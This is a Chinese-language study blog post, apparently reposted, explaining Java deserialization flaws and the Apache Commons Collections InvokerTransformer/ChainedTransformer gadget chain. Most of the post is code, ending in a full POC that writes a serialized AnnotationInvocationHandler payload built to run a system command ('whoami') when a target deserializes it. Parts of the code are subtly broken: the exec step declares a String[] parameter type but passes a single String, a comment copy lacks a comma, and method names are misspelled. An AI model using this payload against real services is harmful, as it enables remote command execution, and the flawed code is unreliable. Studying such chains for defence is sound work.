零 Java 反序列化漏洞
java 的安全问题首屈一指的就是反序列化漏洞, 可以执行命令啊, 甚至直接 getshell, 所以趁着这个假期好好研究一下 java 的反序列化漏洞另外呢, 组里多位大佬对反序列化漏洞都有颇深的研究, 借此机会, 努力学习, 作为狼群中的哈士奇希望成功的继续伪装下去, 不被识破, 哈哈哈哈!!!
参考文档: 感谢所有参考文献的作者:
- https://www.cnblogs.com/bencakes/p/6139477.html
- https://www.cnblogs.com/ssooking/p/5875215.html
- https://www.cnblogs.com/xdp-gacl/p/3777987.html
一 Java 的序列化与反序列化:
在这里我们直接自己定义一个类, 然后对这个类的对象 (一个实例) 进行序列化和发序列化测试
- // 引入必要的 java 包文件
- import java.io. * ;
- // 创建测试类, 注意要继承 Serializable 接口
- class serialdemo implements Serializable {
- public static int number;
- public serialdemo(int inputnum) {
- this.number = inputnum;
- }
- }
- // 主类
- public class test {
- // 测试主类
- public static void main(String[] args) throws IOException,
- ClassNotFoundException {
- // 主函数入口
- serialdemo object = new serialdemo(100);
- FileOutputStream fileoutputstream = new FileOutputStream("serail.ser"); // 创建文件写入对象
- ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream); // 创建类型序列化通道对象
- outputstream.writeObject(object); // 把类对象 (实例) 序列化进入文件
- outputstream.close();
- FileInputStream fileinputstream = new FileInputStream("serail.ser"); // 从文件读取对象
- ObjectInputStream inputstream = new ObjectInputStream(fileinputstream); // 对象反序列化
- // 通过反序列化恢复对象 obj
- serialdemo object2 = (serialdemo) inputstream.readObject();
- System.out.println("反序列化后的对象的值:");
- System.out.println(object2.number);
- inputstream.close();
- }
- }
既然自己定义的类都可以了, 那么默认的 java 存在的数据类型的实例当然也都可以啦~ 运行结果如下:
[$]> java test
反序列化后的对象的值:
100
二对 java 序列化的详解:
1api 定位:
/*
java.io.ObjectOutputStream -> writeObject()
java.io.ObjectInputStream -> readObject()
序列化把对象序列化成字节流
反序列化读取字节流反序列化对象
*/
2 实现 Serializable 和 Externalizable 接口的类才能序列化与反序列化
3java 的反射机制:
/*
在 java 运行状态中
1. 对于任何一个类, 都能判断对象所属的类;
2. 对于任何一个类, 都能获取其所有的属性和方法;
3. 对于任何一个对象, 都能调用任意一个方法和属性;
*/
三反序列化的漏洞原理概述:
1 由于很多站点或者 RMI 仓库等接口处存在 java 的反序列化功能, 攻击者可以通过构造特定的恶意对象序列化后的流, 让目标反序列化, 从而达到自己的恶意预期行为, 包括命令执行, 甚至 getshell 等等
2Apache Commons Collections
这是开源小组 Apache 研发的一个 Collections 收集器框架, 提供诸如 listsetqueue 等功能对象这个框架中有一个接口, 其中有一个实现该接口的类可以通过调用 java 的反射机制来调用任意函数, 这个接口类是 InvokerTransformer 这个架构的广泛使用, 也导致了 java 反序列化漏洞的大面积流行
3java 执行系统命令:
- // 命令执行函数
- public void test() throws IOException,
- InterruptedException {
- Process process = Runtime.getRuntime().exec("whoami");
- InputStream inputstream = process.getInputStream();
- BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
- process.waitFor();
- if (process.exitValue() != 0) {
- // 说明命令执行失败
- // 可以进入到错误处理步骤中
- }
- // 打印输出信息
- String s = null;
- while ((s = reader.readLine()) != null) {
- System.out.println(s);
- }
- }
简介:
Runtime.getRuntime().exec("command_string");
回显呢:
- Process process = Runtime.getRuntime().exec("command_string");
- InputStream inputstream = process.getInputStream();
- BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
- System.out.prinln(reader.readLine());
把上面结合起来就是序列化的打法
四关于反射链
以前一直不理解反射链是什么定西, 现在我们来看看接口源代码:
我们来理一理这一段:
开始:
可以看出来这个方法, 属于一个对象, 输出另外一个对象, 完成了类型的转换同时这个接口还可以串联完成一系列的转换, 构成反射链
Apache Commons Collections 中已经实现了一些常见的 Transformer, 其中有一个可以通过 Java 的反射机制来调用任意函数, 叫做 InvokerTransformer, 代码如下:
- public class InvokerTransformer implements Transformer,
- Serializable {...
- /*
- Input 参数为要进行反射的对象,
- iMethodName,iParamTypes 为调用的方法名称以及该方法的参数类型
- iArgs 为对应方法的参数
- 在 invokeTransformer 这个类的构造函数中我们可以发现, 这三个参数均为可控参数
- */
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- super();
- iMethodName = methodName;
- iParamTypes = paramTypes;
- iArgs = args;
- }
- public Object transform(Object input) {
- if (input == null) {
- return null;
- }
- try {
- Class cls = input.getClass();
- Method method = cls.getMethod(iMethodName, iParamTypes);
- return method.invoke(input, iArgs);
- } catch(NoSuchMethodException ex) {
- throw new FunctorException("InvokerTransformer: The method" + iMethodName + "on" + input.getClass() + "does not exist");
- } catch(IllegalAccessException ex) {
- throw new FunctorException("InvokerTransformer: The method" + iMethodName + "on" + input.getClass() + "cannot be accessed");
- } catch(InvocationTargetException ex) {
- throw new FunctorException("InvokerTransformer: The method" + iMethodName + "on" + input.getClass() + "threw an exception", ex);
- }
- }
- }
只需要传入方法名参数类型和参数, 即可调用任意函数
在这里, 我们可以看到, 先用 ConstantTransformer()获取了 Runtime 类, 接着反射调用 getRuntime 函数, 再调用 getRuntime 的 exec()函数, 执行命令依次调用关系为: Runtime --> getRuntime --> exec()因此, 我们要提前构造 ChainedTransformer 链, 它会按照我们设定的顺序依次调用 Runtime, getRuntime,exec 函数, 进而执行命令正式开始时, 我们先构造一个 TransformeMap 实例, 然后想办法修改它其中的数据, 使其自动调用 tansform()方法进行特定的变换(即我们之前设定好的)
五 poc 原理分析:
参考大牛博客, 给出一个原理解释知识点
ConstantTransformer
把一个对象转化为常量, 并返回
InvokerTransformer
通过反射, 返回一个对象
ChainedTransformer
ChainedTransformer 为链式的 Transformer, 会挨个执行我们定义 Transformer
不得不说上面大牛博客分析的大段的代码原理我基本都不懂, 因为不是 java 程序员的我对此真是摸不着头脑, 但是我们可以做如下总结:
/*
1java 反序列化可以远程执行命令
2java 执行命令用到 Runtime.getRuntime().exec("whoami");
3java 在 apache commons collections 中存在 InvokerTransoformer 接口可以串联对对象进行转化, 形成反射链
4ConstantTransformer 可以把对象转换为常量返回
5ChainedTransformer 为链式的 Transformer, 会挨个执行我们定义 Transformer
6AnnotationInvocationHandler 类可以导致命令执行在 readobject 时候自动执行
*/
POC 的思路:
/*
1)首先构造一个 Map 和一个能够执行代码的 ChainedTransformer,
2)生成一个 TransformedMap 实例
3)实例化 AnnotationInvocationHandler, 并对其进行序列化,
4)当触发 readObject()反序列化的时候, 就能实现命令执行
POC 执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
*/
分析大牛 poc 核心代码逻辑:
- /*
- 核心逻辑表达式:
- ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
- 主函数中:
- 1 定义一个要执行的命令字符串: String commandstring = "whoami";
- 2 定义一个执行逻辑:
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
- new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
- new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
- }
- 3 执行逻辑转化操作(ChainedTransformer 类对象, 传入 transformers 数组, 可以按照 transformers 数组的逻辑执行转化操作):
- Transformer transformedChain = new ChainedTransformer(transformers);
- 4 后面是关于不关心的东西, 写死即可:
- Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
- BeforeTransformerMap.put("hello", "hello");
- Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
- Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
- ctor.setAccessible(true);
- Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
- File f = new File("temp.bin");
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
- out.writeObject(instance);
- */
- // 引入必要的 java 包文件
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.FileNotFoundException;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.annotation.Retention;
- import java.lang.reflect.Constructor;
- import java.util.HashMap;
- import java.util.Map;
- import java.util.Map.Entry;
- // 引入第三方包文件, 也就是关于 apache 的那几个包
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- // 主类
- public class POC_Test {
- public static void main(String[] args) throws Exception {
- // 定义待执行的命令:
- String commandstring = "whoami";
- // 定义一个反射链, 确定预定的转化逻辑
- /*
- 定义一个反射链的方法:
- Transformer[] varitename = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
- new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
- new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
- }
- */
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- /*
- 由于 Method 类的 invoke(Object obj,Object args[])方法的定义
- 所以在反射内写 new Class[] {Object.class, Object[].class }
- 正常 POC 流程举例:
- ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
- */
- new InvokerTransformer("getMethod", new Class[] {
- String.class,
- Class[].class
- },
- new Object[] {
- "getRuntime",
- new Class[0]
- }),
- new InvokerTransformer("invoke", new Class[] {
- Object.class,
- Object[].class
- },
- new Object[] {
- null,
- null
- }),
- new InvokerTransformer("exec", new Class[] {
- String[].class
- },
- new Object[] {
- commandstring
- }
- //new Object[] { execArgs }
- )
- };
- //transformedChain: ChainedTransformer 类对象, 传入 transformers 数组, 可以按照 transformers 数组的逻辑执行转化操作
- Transformer transformedChain = new ChainedTransformer(transformers);
- //BeforeTransformerMap: Map 数据结构, 转换前的 Map,Map 数据结构内的对象是键值对形式, 类比于 python 的 dict
- //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
- Map < String,
- String > BeforeTransformerMap = new HashMap < String,
- String > ();
- BeforeTransformerMap.put("hello", "hello");
- //Map 数据结构, 转换后的 Map
- /*
- TransformedMap.decorate 方法, 预期是对 Map 类的数据结构进行转化, 该方法有三个参数
- 第一个参数为待转化的 Map 对象
- 第二个参数为 Map 对象内的 key 要经过的转化方法(可为单个方法, 也可为链, 也可为空)
- 第三个参数为 Map 对象内的 value 要经过的转化方法
- */
- //TransformedMap.decorate(目标 Map, key 的转化对象(单个或者链或者 null), value 的转化对象(单个或者链或者 null));
- Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
- Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
- ctor.setAccessible(true);
- Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
- File f = new File("temp.bin");
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
- out.writeObject(instance);
- }
- }
- /*
- 思路: 构建 BeforeTransformerMap 的键值对, 为其赋值,
- 利用 TransformedMap 的 decorate 方法, 对 Map 数据结构的 key/value 进行 transforme
- 对 BeforeTransformerMap 的 value 进行转换, 当 BeforeTransformerMap 的 value 执行完一个完整转换链, 就完成了命令执行
- 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
- 利用反射调用 Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
- */
来源: http://www.bubuko.com/infodetail-2498979.html